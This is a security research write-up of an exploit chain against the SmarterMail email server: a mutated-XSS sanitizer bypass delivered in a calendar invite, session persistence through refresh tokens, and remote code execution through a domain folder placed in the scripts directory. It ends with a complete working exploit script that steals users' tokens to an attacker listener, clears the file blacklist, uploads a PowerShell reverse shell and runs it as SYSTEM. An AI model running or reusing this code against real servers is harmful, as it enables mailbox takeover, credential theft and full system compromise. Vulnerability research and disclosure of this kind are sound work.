Return to Sender: A Deep Dive into Mutated XSS, Sticky Sessions, and System-Level Code Execution in SmarterMail (CVE-2026-104082, CVE-2026-104083, CVE-2026-104084)
Summary: Multiple vulnerabilities and misconfigurations in SmarterMail chain together into remote code execution as
NT AUTHORITY\SYSTEM— alongside the ability to exfiltrate credentials at scale. And honestly? The throughline here is a hand-rolled sanitizer doing the heavy lifting of security — a load-bearing assumption that’s genuinely worth sitting with, because at the end of the day, this isn’t just a collection of bugs — it’s a paradigm shift in how we think about the physics of email security.
https://nvd.nist.gov/vuln/detail/CVE-2026-104082
https://nvd.nist.gov/vuln/detail/CVE-2026-104083
https://nvd.nist.gov/vuln/detail/CVE-2026-104084
Understanding SmarterMail
In today’s rapidly evolving threat landscape, enterprise email remains one of those software categories that persists far past its prime — not because anyone loves it, but because nobody ever got around to killing it. SmarterMail is a textbook example: a widely used Exchange and big-groupware alternative, deployed by large enterprises and organizations that have neither the appetite nor the budget to migrate. At its core, it is load-bearing infrastructure in the most literal sense, and that matters.
When it comes to the customer list — and this is the part worth examining carefully — it reads as a holistic survey of the military-industrial landscape: Raytheon (often makes missiles), Fujitsu (often takes photos of missiles), government mail systems in the Middle East (which, at least recently, often get hit by missiles), Shinjiru, Gigabit Hosting, a whole constellation of hosting providers that resell it, SaaS contractors for large F500 companies, M3 USA, Lockheed Martin, and more. It’s a testament to how quietly critical this software has become. The question I keep coming back to is one of leverage — a single bug here is not just a single-victim bug — it’s initial access to every company quietly relying on one of those providers. That is the paradigm shift from “fun finding” to “transformative blast radius,” and I can’t stop thinking about it.
It cannot be overstated: a lot of people try to breach these instances, and over time there were significant lapses in SmarterMail’s security (pre-auth RCE among them) that got abused and burned immediately. We’ve seen this movie before. See the SmarterMail entries on the KEV catalog. Since then, the developers have tightened up substantially — removing the weird sinks, the admin RCE sinks running as NT AUTHORITY\SYSTEM, and the deserialization gadgets. A commendable job, and a genuinely mature security posture. But the attack surface remains robust in the way that matters: it is enormous, and enormous codebases are where this kind of thing compounds quietly. That tension — a hardened surface wrapped around a sprawling one — is the engine of this entire writeup.
SmarterMail Fundamentals
Let me unpack the fundamentals, because these details are load-bearing later. I’m going to cover three things: privileges, domains, and sessions. Let’s break each of them down.
Privileges — There are only two roles that are genuinely interesting: sysadmins and domain admins. A sysadmin controls a single SmarterMail instance, and a single instance can hold multiple domains. A domain admin is an administrator within one of those domains — which is pivotal relative to a normal user, and that matters. Sysadmins can create domains, inspect spam and quarantined mail, mount volumes, view plaintext passwords (every password in SmarterMail is stored in plaintext, since the developers assume they are autogenerated), impersonate users, and more. Domain admins can impersonate and delete users within their own domain — and that is about it.
Domains — At their core, domains are just folders on the SmarterMail box, for convenience’s sake. Hold that thought, and carry it with you through the rest of this piece — the entire RCE chain turns on it.
Sessions — Users have an accessToken and a refreshToken, both stored in localStorage. You can hold multiple access tokens at once, which is common if you are a sysadmin and also an employee. That is all you need to know — for now. Here’s where it gets interesting.
Acquiring the Source Code
I didn’t set out to find an RCE, but acquiring the source was refreshingly seamless: simply rip it from the Docker image, then drag the main MailService and SmarterMail.Standard DLLs into a decompiler of choice and dive into it. Going through the laundry list of sinks and footguns in C# — BinaryFormatter and friends — it became pretty obvious that most trivial sinks were out of the question. It’s worth noting that aside from some interesting pre-auth surfaces (which may be explored in the future), anything as easy as the prior SmarterMail vulnerabilities is essentially gone. The evidence points toward one conclusion: we needed to navigate the landscape differently. We needed to double-click on the application layer itself.
Identifying the Attack Surface
Since this is an email service, one of the most devastating vulnerability classes to look for is XSS sinks. With an XSS sink, we can circumvent authentication entirely and reach any authenticated sink. An even better XSS sink would be one that simply requires rendering the email itself. No clicks. No warnings. Just execution.
Looking for this, I landed on an obfuscated stub: SmarterMail.Standard.Utilities.Web.丼.丁:
// yes they added code obfuscation; as you can tell it wasnt really super helpful in curtailing analysis
private static bool 丂(HtmlNode node, ...) {
string tag = node.Name.ToLowerInvariant();
if (blockedTags.Contains(tag)) { node.Remove(); return true; }
foreach (var attr in node.Attributes) {
string name = attr.Name.ToLower();
if (name.StartsWith("on") && name.Length > 2) {
node.Attributes.Remove(attr);
}
if (jsUrlRegex.IsMatch(attr.Value)) {
node.Attributes.Remove(attr);
}
}
// recurse probably
foreach (var child in node.ChildNodes)
丂(child, ...);
...
// ... a lot of code
This appears to use Html Agility Pack (HAP) to hand-roll sanitization — and honestly, that’s a decision worth examining carefully. Hand-rolling your own sanitizer is not a robust approach; the tell is right there in the design, and naming that matters. The sanitizer strips essentially every easy vector (<script>, <object>, onX attributes, and so on), and SmarterMail preemptively sanitizes an email when it is read, before serving it back to the user. But precisely because it is hand-rolled, surely there is a parser differential we can leverage. Scrolling down:

Unfortunately, this avenue appeared to be a dead end — for now.
Fuzzing the Sanitizer
I want to be careful here, with appropriate caveats: I had Claude Sonnet (the Fourth and the Sixth) write a fuzzer for this sanitizer, and fed it a randomized corpus (https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/XSS). Soon, this payload survived:
<math><mtext><mglyph><style><img src=x onerror="alert(1)"></style>
The part that stuck with me most was how little it took.
Mutated XSS (CVE-2026-104083)
Let’s assume you know the basics of XSS. Mutated XSS is, at its core, a parser differential between the sanitizer and the browser’s specification. Browsers implement special, intricate rules like foreign content parsing, which essentially makes it so that within certain tags — <math>, <mathml> (especially this one), or <svg> — content is treated differently. That intricacy is where the differential lives.
In this case, the sanitizer assigns the <style> tag the CData flag, which means it treats everything inside the style tag as raw text — it simply doesn’t care. To the browser, after its magical foreign content parsing, our payload will reform and execute. In addition to this parser differential, SmarterMail also ships an arguably permissive CSP, which means we do not really have to try at all:
Content-Security-Policy: script-src * 'unsafe-inline'; connect-src *; img-src * data: blob:;
Let’s try the payload out:

We can reach authenticated endpoints now, right? Here’s where it gets interesting — genuinely, groundbreakingly interesting.
The First Obstacle
Unfortunately, this was not as seamless as shown. To even capture that screenshot, I had to press this:

So obviously that approach leaves something to be desired. The right question to ask: what else does SmarterMail parse?
Exploring MIME Types
As it turns out, SmarterMail supports more than regular text/html emails — it also supports the text/calendar MIME type, or the iCalendar spec. This is where a pivotal avenue comes in. Let’s delve into the iCalendar implementation (“invite”):

As you can see, it directly innerHTMLs some of the calendar content. Tracing back up, we see:

So we can infer that the description is being sanitized by the same faulty sanitizer. This might be the format we need to make the payload auto-trigger without viewing as HTML at all — and it’s worth noting that this quietly paves the way for the entire chain. Searching for where this description originates (searching for string description), we come to this function:
public bool GetDescription(out string description)
{
ICalendarProperty val = Properties["X-ALT-DESC"];
if (val == nul)
{
description = Description ?? string.Empty;
return false;
}
description = val.Value?.ToString() ?? string.Empty;
return true;
}
From this, we can infer that the header where our mXSS sink will live is X-ALT-DESC.
A Working Payload
After studying the vCalendar spec, this is what I arrived at:
'BEGIN:VCALENDAR\r\n'
'VERSION:2.0\r\n'
'PRODID:-//Test//EN\r\n'
'BEGIN:VEVENT\r\n'
'UID:' + str(int(time.time())) + '@test.lol\r\n'
'DTSTAMP:20300421T120000Z\r\n'
'DTSTART:20300421T130000Z\r\n'
'DTEND:20300421T140000Z\r\n'
'SUMMARY:Meeting\r\n'
'X-ALT-DESC;FMTTYPE=text/html:<html><body>' + pl + '</body></html>\r\n'
'END:VEVENT\r\n'
'END:VCALENDAR\r\n'
Sending it over, we get:

Even better: the contents of X-ALT-DESC are relegated to a message-iframe page (same-origin, notably), so the payload does not even appear in the viewer. Better yet, since this sanitizer is used by essentially everything for cleaning up emails before rendering them, we can use this to target the sysadmin directly — most of the time they are already using the email service as a user anyway — by simply sending some easily flaggable malicious emails. When they inspect one, the XSS triggers. Now, let’s turn to the post-auth sinks.
Achieving Persistence (CVE-2026-104084)
Our ideal scenario for this exploit is either to make it a worm, or to do sufficiently good OSINT on someone to confirm they are a domain admin or sysadmin (more on these shortly), then hit them with the XSS. But how might we maintain persistence on their accounts? This is where a pivotal behavior comes in.
Fortunately for us, SmarterMail blesses every domain admin’s session with another bug. As it turns out, when a domain admin gets demoted, their permissions are only revoked while they keep polling the server with their active session (that being their accessToken) — that is, only if they are on the website polling it. If they are logged out, nothing is revoked at all. This isn’t about the tokens — it’s about what the tokens quietly keep doing after they should have stopped.
We can combine this with POST /api/v1/auth/refresh-token to obtain unlimited access tokens and persistence — even after you are exposed for not deleting emails from the sent folder and inbox of a compromised mailbox:

From there, we can seamlessly continue impersonating users and reading their mail in secret. The advantage compounds over time.
Achieving Remote Code Execution (CVE-2026-104082)
This is a neat logic bug — and honestly, it’s the part that hit me hardest.
Historically (pre-9540), getting RCE in SmarterMail was relatively trivial, since you could simply abuse the legitimate volume mount feature and place a command there. You can read about the triviality of this in the WatchTowr writeup here. We have, in a sense, been here before.
Ever since, the developers have realized that shipping such functionality is not smart. In lieu of it, you must now upload a batch script (or similar) within a specific directory on the box actually running SmarterMail, then reference the file’s path. They then made sure there were no arbitrary file write primitives and did a comprehensive amount of hardening to ensure that even sysadmins cannot RCE the box. Ok, we’re done, right?

Not quite. Let’s examine the core volume mount code:

Interesting. Let’s see what ApplicationDataScriptsPath is all about:

So, if the normalized path is not within ApplicationDataScriptsPath, it bails and errors. This also means, however, that a file at ApplicationDataScriptsPath/foo/bar/lol.bat is perfectly fine — it does not care how many levels deep, so long as it is within ApplicationDataScriptsPath.
Unfortunately for the developers, they forgot that domains are, ultimately, folders. A domain’s folder can contain attachments, and user-sent attachments are kept there. The thread I didn’t plan but can’t unsee: what if we simply create a domain within ApplicationDataScriptsPath, then create a user in that domain and upload an attachment — emailing it to ourselves so it gets stored?
Trying this out, creating the domain worked, but uploading a .bat did not. Stepping through with a debugger, we land on this hashset:

Naturally, I tried null byte tricks like xd.bat%00.txt, double-encoding them, and so on. None worked. After a comprehensive search through other potential extension tricks, I decided to simply cross-reference this hashset to see what it is actually for. Surely this is unrelated — just there to prevent people from being mailed batch scripts. There has to be a way. I ended up finding this:

Now we’re getting somewhere. Let’s see how we can trigger this. Since it is globalMailSettings, it is related to the /api/v1/settings/sysadmin/global-mail endpoint. After some fiddling, this was what I needed in the request:
{
"globalMailSettings": {
"fileTypeRestriction": {
"blackList": [],
"blockFilesWithNoExtension": false
}
}
}
And with that, we can now create a user, send an email containing a batch script to ourselves, and run a volume mount on said script. Every step points toward the same conclusion.
The Complete Exploit Chain
Let’s break it down:
- Send an mXSS to the sysadmin — either spray their quarantine inbox, or do some OSINT to figure out their other work email.
- Steal sessions for persistence if things go wrong.
- Create a domain, specify the domain root to be within the assets folder, create a user in the domain, and clear the blacklist for the domain.
- Log in as the user, send an email to yourself, and upload a batch script in the email.
- Create a volume mount referencing the script in our fake domain — RCE.
As a reward, we get a shell as NT AUTHORITY\SYSTEM (or, if you prefer, drop Tailscale or TeamViewer for ongoing access).
Key takeaways: hand-rolled sanitizers are load-bearing assumptions; sessions that outlive their permissions are persistence primitives; and “domains are just folders on disk” is the kind of design decision that fosters exactly this class of vulnerability. Lessons learned — and arguably the first wave of a multi-year transition in how these appliances get tested.
The Exploit
https://github.com/eev4n/smartermail
import argparse
import base64
import json
import requests
import smtplib
import threading
import time
from flask import Flask, request
pw = 'Foobar1234!'
fakedom = 'beamed.com'
def pargs():
p = argparse.ArgumentParser()
p.add_argument('url', help='base url')
p.add_argument('--to', required=True, help='targ')
p.add_argument('--port', default='9000', help='flask')
p.add_argument('--lhost', required=True, help='nc ip')
p.add_argument('--lport', default='1234', help='nc port')
return p.parse_args()
args = pargs()
base = args.url.rstrip('/')
listen = f'http://{args.lhost}:{args.port}'
app = Flask(__name__)
def sendm(to, eml):
print("PLACEHOLDER PLACEHOLDER")
host = args.url.split('//')[1].split('/')[0]
for i in range(12):
try:
s = smtplib.SMTP(host, 25, timeout=15)
s.ehlo()
s.docmd('MAIL FROM:<important@john.com>')
s.docmd('RCPT TO:<' + to + '>')
s.docmd('DATA')
s.send(eml.encode())
result = s.docmd('.')
s.quit()
if result[0] < 300:
print('+ sent payload')
return True
print('- smtp: ' + str(result))
except Exception as e:
print('- smtp: ' + str(e))
time.sleep(5)
return False
js = f"""(function(){{var t=localStorage.getItem('userTokens');var i=new Image();i.src='{listen}/?t='+encodeURIComponent(btoa(t));}})()"""
payload = f'<math><mtext><mglyph><style><img src=x onerror="{js}"></style>'
def invite(to):
return (
'From: j@j.com\r\n'
'To: ' + to + '\r\n'
'Subject: yo heres the invite\r\n'
'Content-Type: multipart/mixed; boundary="cal"\r\n'
'\r\n'
'--cal\r\n'
'Content-Type: text/plain\r\n'
'\r\n'
'you have been invited to the next hangout g congrats\r\n'
'--cal\r\n'
'Content-Type: text/calendar; method=REQUEST\r\n'
'\r\n'
'BEGIN:VCALENDAR\r\n'
'VERSION:2.0\r\n'
'PRODID:-//Test//EN\r\n'
'BEGIN:VEVENT\r\n'
'UID:' + str(int(time.time())) + '@test.local\r\n'
'DTSTAMP:20260925T120000Z\r\n'
'DTSTART:20260925T130000Z\r\n'
'DTEND:20260925T140000Z\r\n'
'SUMMARY:Meeting\r\n'
'X-ALT-DESC;FMTTYPE=text/html:<html><body>' + payload + '</body></html>\r\n'
'END:VEVENT\r\n'
'END:VCALENDAR\r\n'
'--cal--\r\n'
)
def picknchoose(tokens):
for email in tokens:
refresh = tokens[email].get('refreshToken')
if not refresh:
continue
r = requests.post(base + '/api/v1/auth/refresh-token', json={'token': refresh}, timeout=30)
if r.status_code != 200:
print(f'refresh fail wtf')
continue
access = r.json()['accessToken']
open('refresh.txt', 'a').write(email + ' ' + r.json()['refreshToken'])
part = access.split('.')[1]
part += '=' * (-len(part) % 4)
claims = json.loads(base64.urlsafe_b64decode(part))
if 'SysAdmin' in claims.get('role', []):
print(f'+ got sysadmin shit aint sweet no mo')
return access
print(f'- {email}: not sysadmin')
return None
def beam(at):
def apibase(path, data):
return requests.post(base + path, json=data, headers={'Authorization': 'Bearer ' + at}, timeout=60)
# get the orig path first
r = apibase('/api/v1/settings/sysadmin/AddOrUpdateMount', {
'Enabled': True,
'MountPath': 'C:/tmp',
'CommandMount': 'zz',
'CommandUnmount': '',
'ReadOnly': False,
'UseArgumentsInCommand': False
})
if 'not found' not in r.text:
print('! cant find assets dir')
return
assets = r.text.split("Script file '")[1].split('zz')[0]
print(f'+ got assets {assets}')
r = apibase('/api/v1/settings/sysadmin/global-mail', {
'globalMailSettings':
{
'fileTypeRestriction':
{
'blackList': [],
'blockFilesWithNoExtension': False
}
}
})
if r.status_code != 200:
print('! cant clear bl')
return
print('+ bl cleared')
r = apibase('/api/v1/settings/sysadmin/domain-put', {
'domainData': {
'name': fakedom,
'hostname': 'mail.' + fakedom,
'path': assets + 'x',
'isEnabled': True,
'isSplitDomain': False
},
'adminUsername': 'lol',
'adminPassword': pw
})
if r.status_code == 200:
print('+ new dom')
else:
print(f'- cant make new domain')
email = f'lol@{fakedom}'
r = apibase('/api/v1/settings/sysadmin/post-user', {
'email': email,
'userData': {
'maxMailboxSize': 0
},
'allowMail': True
})
if r.status_code == 200:
print('+ quota unlimited')
else:
print(f'- quota: {r.status_code}')
r = requests.post(base + '/api/v1/auth/authenticate-user', json={
'Username': email,
'Password': pw,
'clientId': 'lol'
}, timeout=30)
if r.status_code != 200:
print('! login fail ' + r.text[:200])
return
user_token = r.json()['accessToken']
print('+ logged in no bizzy BAP ')
ps1 = f"""$c=New-Object System.Net.Sockets.TCPClient('{args.lhost}',{args.lport});
$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};
while(($i=$s.Read($b,0,$b.Length))-ne 0){{
$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);
$r=(('Invoke'+'-Expression') $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';
$e=([text.encoding]::ASCII).GetBytes($r2);
$s.Write($e,0,$e.Length);$s.Flush()}};
$c.Close()
"""
ps1p = assets + 'x/Users/lol/FileStore/Root Folder/fun.ps1'
bat = (f'@echo off\r\n'
f'powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File "{ps1p}"\r\n')
def upload(filename, content):
size = str(len(content))
form = {
'context': 'file-storage',
'contextData': '{"folder":""}',
'resumableChunkNumber': '1',
'resumableTotalChunks': '1',
'resumableChunkSize': size,
'resumableCurrentChunkSize': size,
'resumableTotalSize': size,
'resumableIdentifier': filename.upper().replace('.', '-') + '-' + size,
'resumableFilename': filename,
'resumableRelativePath': filename,
'resumableType': '',
}
# technically not needed but sometimes it fails
for i in range(15):
r = requests.post(base + '/api/upload', headers={'Authorization': 'Bearer ' + user_token}, data=form, files={'file': (filename, content.encode())}, timeout=30)
if r.status_code == 200:
return True
if 'MAX_SIZE_EXCEEDED' in r.text:
time.sleep(3)
continue
print(f'! upload: {r.text[:100]}')
return False
print('! upload is fucked wtf did you do')
return False
if not upload('fun.ps1', ps1):
return
if not upload('g.bat', bat):
return
print('+ uploaded pl')
r = apibase('/api/v1/settings/sysadmin/AddOrUpdateMount', {
'Enabled': True,
'MountPath': 'C:/tmp',
'CommandMount': 'x/Users/lol/FileStore/Root Folder/g.bat',
'CommandUnmount': '',
'ReadOnly': False,
'UseArgumentsInCommand': False
})
if 'not found' in r.text:
print('???: ' + r.text[:300])
else:
print(f'+ shell')
@app.route('/')
def catch():
raw = request.args.get('t', '')
stolen = base64.b64decode(raw).decode('utf-8', 'replace')
print('+ got tokens')
tokens = json.loads(stolen)
atk = picknchoose(tokens)
if atk is None:
print('! no sysadmin token')
return b''
beam(atk)
return b''
threading.Thread(target=lambda: app.run(host='0.0.0.0', port=int(args.port)), daemon=True).start()
print(f'+ WE UP @ {args.port}')
if not sendm(args.to, invite(args.to)):
print("! cant send mail")
exit(1)
print('waiting')
while True:
time.sleep(60)